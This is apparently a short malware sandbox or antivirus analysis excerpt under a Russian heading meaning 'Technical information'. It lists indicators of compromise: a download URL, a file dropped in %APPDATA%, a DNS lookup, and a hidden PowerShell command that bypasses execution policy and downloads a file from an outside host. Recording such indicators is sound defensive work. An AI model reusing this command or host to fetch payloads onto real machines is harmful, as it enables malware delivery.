Техническая информация
- http://www.alakhawayn.com/ext22/1pdf1.pdf как %appdata%\microsoft\1pdf1.pdf
- %APPDATA%\microsoft\1pdf1.pdf
- 'al###awayn.com':80
- http://www.al###awayn.com/ext22/1pdf1.pdf
- DNS ASK al###awayn.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://www.alakhawayn.com/ext22/1pdf1.pdf','%APPDATA%\Microsoft\1pdf1.pdf'); (со скрытым окном)